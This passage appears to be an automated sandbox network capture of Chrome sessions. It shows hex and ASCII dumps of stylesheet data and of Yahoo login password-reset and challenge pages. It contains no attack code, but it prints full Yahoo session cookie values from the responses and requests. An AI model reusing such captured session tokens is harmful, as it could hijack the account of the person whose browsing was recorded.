2024-01-10 23:26:26 UTC	1369	IN	Data Raw: 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 3a 61 63 74 69 76 65 2c 0d 0a 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 62 62 72 5b 74 69 74 6c 65 5d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 64 6f 74 74 65 64 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 2c 0d 0a 20 20 20 20 20 20 20 20 6f 70 74 67 72 6f 75 70 2c 0d 0a 20 20 20 20 20 20 20 20 73 74 72 6f 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 Data Ascii: ckground-color: transparent } a:active, a:hover { outline: 0 } abbr[title] { border-bottom: 1px dotted } b, optgroup, strong { font-wei
2024-01-10 23:26:26 UTC	1369	IN	Data Raw: 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 20 7b 0d 0a Data Ascii: } button { overflow: visible } button, select { text-transform: none } button, html input[type=button], input[type=reset], input[type=submit] {
2024-01-10 23:26:26 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 39 36 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 6f 6c 2c 0d 0a 20 20 20 20 20 20 20 20 70 2c 0d 0a 20 20 20 20 20 20 20 20 75 6c 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 Data Ascii: max-width: 960px; margin: 0 auto; padding: 0 20px; box-sizing: border-box } ol, p, ul { margin-top: 0 } .column, .columns {
2024-01-10 23:26:26 UTC	1369	IN	Data Raw: 2d 73 69 7a 65 3a 20 32 35 2e 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 35 30 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 38 30 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -size: 25.5px; font-size: 1.5rem; letter-spacing: 0 } @media (min-width: 550px) { .container { width: 80% } .column, .columns {
2024-01-10 23:26:26 UTC	1369	IN	Data Raw: 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 6e 65 2d 74 68 69 72 64 2e 63 6f 6c 75 6d 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 2d 74 68 69 72 64 73 2e 63 6f 6c 75 6d 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 36 35 2e 33 33 33 33 33 33 33 33 33 33 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 6e 65 2d 68 61 6c 66 2e 63 6f 6c 75 6d Data Ascii: 00%; margin-left: 0 } .one-third.column { width: 30.6666666667% } .two-thirds.column { width: 65.3333333333% } .one-half.colum
2024-01-10 23:26:26 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6e 69 6e 65 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6e 69 6e 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 37 38 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 74 65 6e 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 74 65 6e 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 36 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: .offset-by-nine.column, .offset-by-nine.columns { margin-left: 78% } .offset-by-ten.column, .offset-by-ten.columns { margin-left: 86.6666666667%
2024-01-10 23:26:26 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 33 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 35 35 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 Data Ascii: display: inline-block; height: 38px; padding: 0 30px; color: #555; text-align: center; font-size: 11px; font-weight: 600; line-height: 38px; lett
2024-01-10 23:26:26 UTC	1369	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 33 33 43 33 46 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 0d 0a 20 20 Data Ascii: ; border-color: #33C3F0 } .button.button-primary:focus, .button.button-primary:hover, button.button-primary:focus, button.button-primary:hover, input[type=button].button-primary:focus,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49761	67.195.204.151	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:28 UTC	681	OUT	GET /forgot?done=https%3A%2F%2Fmail.yahoo.com%2F HTTP/1.1 Host: login.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:28 UTC	4080	IN	HTTP/1.1 302 Found Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=15552000 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Age: 24 Pragma: no-cache Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A; path=/; domain=login.yahoo.com; secure; HttpOnly Location: /account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=QQ-- Vary: Accept, Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 272 Content-Security-Policy: base-uri 'self';child-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com;connect-src 'self' https://geo.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com https://ws.progrss.yahoo.com https://udc.yahoo.com https://jsapi.login.yahoo.com https://www.yahoo.com https://guce.yahoo.com/ https://ups.analytics.yahoo.com https://api.taboola.com/1.2/json/taboola-usersync/user.sync;default-src 'self' https://s.yimg.com https://s1.yimg.com https://login.yahoo.net;font-src https://s.yimg.com https://s1.yimg.com;frame-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com https://gpt.mail.yahoo.net/sandbox https://guce.oath.com/ https://opus.analytics.yahoo.com https://tsdtocl.com/;img-src 'self' data: https://yahoo.com https://ct.yimg.com https://s.yimg.com https://s1.yimg.com https://tw.yimg.com https://geo.yahoo.com https://socialprofiles.zenfs.com https://.wc.yahoodns.net https://beap-bc.yahoo.com https://ws.progrss.yahoo.com https://log.fc.yahoo.com https://backyard.yahoo.com https://.ah.yahoo.com https://pr-bh.ybp.yahoo.com https://fbcdn.net https://scontent.xx.fbcdn.net https://z-m-scontent.xx.fbcdn.net https://graph.facebook.com https://data.mail.yahoo.com https://platform-lookaside.fbsbx.com https://www.yahoo.com;media-src https://.ah.yahoo.com https://s.yimg.com;object-src 'none';report-uri https://csp.yahoo.com/beacon/csp?src=mbr_account;script-src 'unsafe-inline' 'self' https://s.yimg.com https://s1.yimg.com https://query.yahoo.com https://.query.yahoo.com https://y.analytics.yahoo.com https://jsapi.login.yahoo.com https://fc.yahoo.com https://e2e.fc.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com https://opus.analytics.yahoo.com/tag/opus.js https://consent.cmp.oath.com/cmp.js https://search.yahoo.com https://.search.yahoo.com 'nonce-ubT1OEr9+AuXNPugJ9eoRewd6raOHEGXdjUGLhuPlB25xSQx' ;style-src 'unsafe-inline' Date: Wed, 10 Jan 2024 23:26:28 GMT Connection: close Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" Set-Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:26:52 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:26:52 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-01-10 23:26:28 UTC	163	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 31 53 3d 64 3d 41 51 41 42 42 4c 77 6e 6e 32 55 43 45 4c 34 6c 45 33 45 4a 43 34 5f 58 73 44 59 46 34 69 74 6e 52 56 38 46 45 67 45 42 41 51 46 35 6f 47 57 70 5a 64 77 77 30 69 4d 41 5f 65 4d 41 41 41 26 53 3d 41 51 41 41 41 6c 6d 4a 49 39 42 4d 39 44 73 33 48 35 50 45 55 55 79 55 62 36 45 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 20 53 65 63 75 72 65 0d 0a 0d 0a Data Ascii: Set-Cookie: A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure
2024-01-10 23:26:28 UTC	272	IN	Data Raw: 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 61 63 63 6f 75 6e 74 2f 63 68 61 6c 6c 65 6e 67 65 2f 75 73 65 72 6e 61 6d 65 3f 64 6f 6e 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 69 6c 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 26 61 6d 70 3b 61 75 74 68 4d 65 63 68 61 6e 69 73 6d 3d 73 65 63 6f 6e 64 61 72 79 26 61 6d 70 3b 73 65 73 73 69 6f 6e 49 6e 64 65 78 3d 51 51 2d 2d 22 3e 2f 61 63 63 6f 75 6e 74 2f 63 68 61 6c 6c 65 6e 67 65 2f 75 73 65 72 6e 61 6d 65 3f 64 6f 6e 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 69 6c 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 26 61 6d 70 3b 61 75 74 68 4d 65 63 68 61 6e 69 73 6d 3d 73 65 63 6f 6e 64 61 72 79 26 61 6d 70 3b 73 65 73 73 69 6f 6e 49 Data Ascii: <p>Found. Redirecting to <a href="/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=QQ--">/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49760	67.195.204.151	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:28 UTC	1907	OUT	GET /account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=QQ-- HTTP/1.1 Host: login.yahoo.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A; A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:26:28 UTC	2580	IN	HTTP/1.1 200 OK Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=15552000 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Age: 19 Pragma: no-cache Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 Content-Length: 35901 Content-Security-Policy: base-uri 'self';child-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com;connect-src 'self' https://geo.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com https://ws.progrss.yahoo.com https://udc.yahoo.com https://jsapi.login.yahoo.com https://www.yahoo.com https://guce.yahoo.com/ https://ups.analytics.yahoo.com https://api.taboola.com/1.2/json/taboola-usersync/user.sync;default-src 'self' https://s.yimg.com https://s1.yimg.com https://login.yahoo.net;font-src https://s.yimg.com https://s1.yimg.com;frame-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com https://gpt.mail.yahoo.net/sandbox https://guce.oath.com/ https://opus.analytics.yahoo.com https://tsdtocl.com/;img-src 'self' data: https://yahoo.com https://ct.yimg.com https://s.yimg.com https://s1.yimg.com https://tw.yimg.com https://geo.yahoo.com https://socialprofiles.zenfs.com https://.wc.yahoodns.net https://beap-bc.yahoo.com https://ws.progrss.yahoo.com https://log.fc.yahoo.com https://backyard.yahoo.com https://.ah.yahoo.com https://pr-bh.ybp.yahoo.com https://fbcdn.net https://scontent.xx.fbcdn.net https://z-m-scontent.xx.fbcdn.net https://graph.facebook.com https://data.mail.yahoo.com https://platform-lookaside.fbsbx.com https://www.yahoo.com;media-src https://.ah.yahoo.com https://s.yimg.com;object-src 'none';report-uri https://csp.yahoo.com/beacon/csp?src=mbr_account;script-src 'unsafe-inline' 'self' https://s.yimg.com https://s1.yimg.com https://query.yahoo.com https://.query.yahoo.com https://y.analytics.yahoo.com https://jsapi.login.yahoo.com https://fc.yahoo.com https://e2e.fc.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com https://opus.analytics.yahoo.com/tag/opus.js https://consent.cmp.oath.com/cmp.js https://search.yahoo.com https://.search.yahoo.com 'nonce-DhYPhBgvkj1vFd4svoV1lF44dwwV7er8YSWX6LbtgZ9R5kYK' ;style-src 'unsafe-inline' Vary: Accept-Encoding Date: Wed, 10 Jan 2024 23:26:28 GMT Connection: close Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:26:28 UTC	4488	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 69 64 3d 22 53 74 65 6e 63 69 6c 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 69 67 68 74 2d 74 68 65 6d 65 20 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f Data Ascii: <!DOCTYPE html><html id="Stencil" class="no-js light-theme "> <head> <meta charset="utf-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no"/> <meta name="format-detection" co
2024-01-10 23:26:28 UTC	16384	IN	Data Raw: 22 58 4b 22 3a 22 2b 33 38 33 22 2c 22 4b 57 22 3a 22 2b 39 36 35 22 2c 22 4b 47 22 3a 22 2b 39 39 36 22 2c 22 4c 41 22 3a 22 2b 38 35 36 22 2c 22 4c 56 22 3a 22 2b 33 37 31 22 2c 22 4c 42 22 3a 22 2b 39 36 31 22 2c 22 4c 53 22 3a 22 2b 32 36 36 22 2c 22 4c 52 22 3a 22 2b 32 33 31 22 2c 22 4c 59 22 3a 22 2b 32 31 38 22 2c 22 4c 49 22 3a 22 2b 34 32 33 22 2c 22 4c 54 22 3a 22 2b 33 37 30 22 2c 22 4c 55 22 3a 22 2b 33 35 32 22 2c 22 4d 4f 22 3a 22 2b 38 35 33 22 2c 22 4d 4b 22 3a 22 2b 33 38 39 22 2c 22 4d 47 22 3a 22 2b 32 36 31 22 2c 22 4d 57 22 3a 22 2b 32 36 35 22 2c 22 4d 59 22 3a 22 2b 36 30 22 2c 22 4d 56 22 3a 22 2b 39 36 30 22 2c 22 4d 4c 22 3a 22 2b 32 32 33 22 2c 22 4d 54 22 3a 22 2b 33 35 36 22 2c 22 4d 48 22 3a 22 2b 36 39 32 22 2c 22 4d 51 22 Data Ascii: "XK":"+383","KW":"+965","KG":"+996","LA":"+856","LV":"+371","LB":"+961","LS":"+266","LR":"+231","LY":"+218","LI":"+423","LT":"+370","LU":"+352","MO":"+853","MK":"+389","MG":"+261","MW":"+265","MY":"+60","MV":"+960","ML":"+223","MT":"+356","MH":"+692","MQ"
2024-01-10 23:26:28 UTC	15029	IN	Data Raw: 6e 3e 0a 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 20 64 61 74 61 2d 63 6f 64 65 3d 22 2b 32 36 36 22 20 76 61 6c 75 65 3d 22 4c 53 22 20 3e 4c 65 73 6f 74 68 6f 20 26 23 78 32 30 32 41 3b 28 2b 32 36 36 29 26 23 78 32 30 32 43 3b 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 20 64 61 74 61 2d 63 6f 64 65 3d 22 2b 32 33 31 22 20 76 61 6c 75 65 3d 22 4c 52 22 20 3e 4c 69 62 65 72 69 61 20 26 23 78 32 30 32 41 3b 28 2b 32 33 31 29 26 23 78 32 30 32 43 3b 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 20 64 61 74 61 2d 63 6f 64 65 3d 22 2b 32 31 38 22 20 76 61 6c 75 65 3d 22 Data Ascii: n> <option role="option" data-code="+266" value="LS" >Lesotho ‪(+266)‬</option> <option role="option" data-code="+231" value="LR" >Liberia ‪(+231)‬</option> <option role="option" data-code="+218" value="

